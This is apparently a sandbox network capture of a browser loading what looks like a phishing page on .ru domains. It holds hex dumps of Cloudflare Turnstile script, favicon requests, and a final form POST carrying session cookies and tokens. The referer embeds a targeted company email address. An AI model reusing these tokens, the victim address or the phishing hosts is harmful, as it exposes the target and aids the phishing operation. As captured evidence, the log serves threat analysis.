2025-03-16 23:37:33 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:37:33 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 921814416f85e0ee-EWR alt-svc: h3=":443"; ma=86400
2025-03-16 23:37:33 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 Data Ascii: manual",e.Auto="auto"})(ee\|\|(ee={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 Data Ascii: unction pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 72 22 2c 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 Data Ascii: r","ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 Data Ascii: ect.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,w
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: ,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this
2025-03-16 23:37:33 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:34 UTC	635	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://2y.osejonco.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-16 23:37:34 UTC	740	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:37:34 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=cg.l.EQbnyiCHqABf4_iI_WmIZ2Pbprob1N3igdr5vQ-1742168254-1.0.1.1-u.ujvKisIFlrv..Sut6CzUu89DMjwKRUiFrarxuZzm1THoqoLv41WTDD0LVZmCyjPqomJw1sU_LshbEDvufWdhVAwR5S0g_m6tBtjXSTwfc; path=/; expires=Mon, 17-Mar-25 00:07:34 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 921814463bb515d7-EWR alt-svc: h3=":443"; ma=86400
2025-03-16 23:37:34 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-16 23:37:34 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:35 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=cg.l.EQbnyiCHqABf4_iI_WmIZ2Pbprob1N3igdr5vQ-1742168254-1.0.1.1-u.ujvKisIFlrv..Sut6CzUu89DMjwKRUiFrarxuZzm1THoqoLv41WTDD0LVZmCyjPqomJw1sU_LshbEDvufWdhVAwR5S0g_m6tBtjXSTwfc
2025-03-16 23:37:35 UTC	435	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:37:35 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 9218144adf8a422b-EWR alt-svc: h3=":443"; ma=86400
2025-03-16 23:37:35 UTC	937	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:53 UTC	558	OUT	GET /chai!aujobu HTTP/1.1 Host: 9k1f.szsnqp.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://2y.osejonco.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://2y.osejonco.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-16 23:37:54 UTC	821	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iRUvSvdw9DO1AxkMFqQOo0TMlQaOLOkUa2zNVQ9Ye62nhWFLiDP%2FLUrVuN982Z3gjwto3iteLtBnnfN16yTGN8tdpnY20dJHBcvOHaTSkDfJW6jp6Quidlyosk%2F3pFE5Dw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 921814c0df1dc484-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1460&min_rtt=1454&rtt_var=558&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1130&delivery_rate=1937624&cwnd=220&unsent_bytes=0&cid=b5007d5981f4b6d6&ts=1023&x=0"
2025-03-16 23:37:54 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-16 23:37:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:55 UTC	1467	OUT	POST /hko7ycdtxaFw8rtrjRuWyBv2CM6bIs0vVjXYlxq0qb92im HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive Content-Length: 773 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH1pNSRtb33xlDQBp sec-ch-ua-mobile: ?0 Accept: / Origin: https://2y.osejonco.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://2y.osejonco.ru/r0lfuHO4/$admin.invoices@bluewatersps.com.au Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IitVa3dYNkVJNlgwVWdxVUhlTjlYbXc9PSIsInZhbHVlIjoidlV6OGFkOXNmZUl1NjhGSUZiUUZ2R2p0d2FyT2d6d043YUp5d0JyNVcwaXo3YUM1THFxWW1pcjRLd0sxdUJFMDZTYWZTd2MrOW56RE1qcGM2V3VVVkVlSFUwekNScmVTNFViamtFdXBUd29tb0NGaUZqMURJOU5RQnI5YUU2a3IiLCJtYWMiOiIzM2RkYzk1ZDNhZjhjZjU2MWRkZWM2ZmFiYzVhYjZlY2MwNjU3NzYwMTgxNTZjMzEzNmFiZWFlMjY3ZDAwODVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IllDT213YkREOVU0OFRhdlZtVllGcmc9PSIsInZhbHVlIjoib3RmK052d3MycXpuZ1pGUVJVOWRrWmNKamhtZ096QXF2WHEzYXdzQmdXMW9yUTVXMXhBL0pUNDVqV3QwU1ZNVVB4VWprNkpIcXVVVnhZaWJFZkVxS3o1Q3d3c2JucnhhOHJZY3VrUW1scVRFTkxvdFdxNWJNOW5TVHhTeTVQNlciLCJtYWMiOiIyMzRlNGY4NzVkYjI0NDRlNDE3NjI2NDVjYWE4NTRhMGQwMGZmODIxMGZkODYzMjUxYzY4Zjg5ZjMwZjYyNjg3IiwidGFnIjoiIn0%3D
2025-03-16 23:37:55 UTC	773	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 48 31 70 4e 53 52 74 62 33 33 78 6c 44 51 42 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 78 50 45 34 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 48 31 70 4e 53 52 74 62 33 33 78 6c 44 51 42 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 68 57 73 42 56 43 44 6f 45 45 52 66 45 57 6b 4d 30 62 6f 55 38 50 33 67 4f 32 47 70 35 6c 52 51 64 49 35 55 4f 6b 36 30 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 48 31 70 4e 53 Data Ascii: ------WebKitFormBoundaryH1pNSRtb33xlDQBpContent-Disposition: form-data; name="bltpg"xPE4------WebKitFormBoundaryH1pNSRtb33xlDQBpContent-Disposition: form-data; name="sid"hWsBVCDoEERfEWkM0boU8P3gO2Gp5lRQdI5UOk60------WebKitFormBoundaryH1pNS
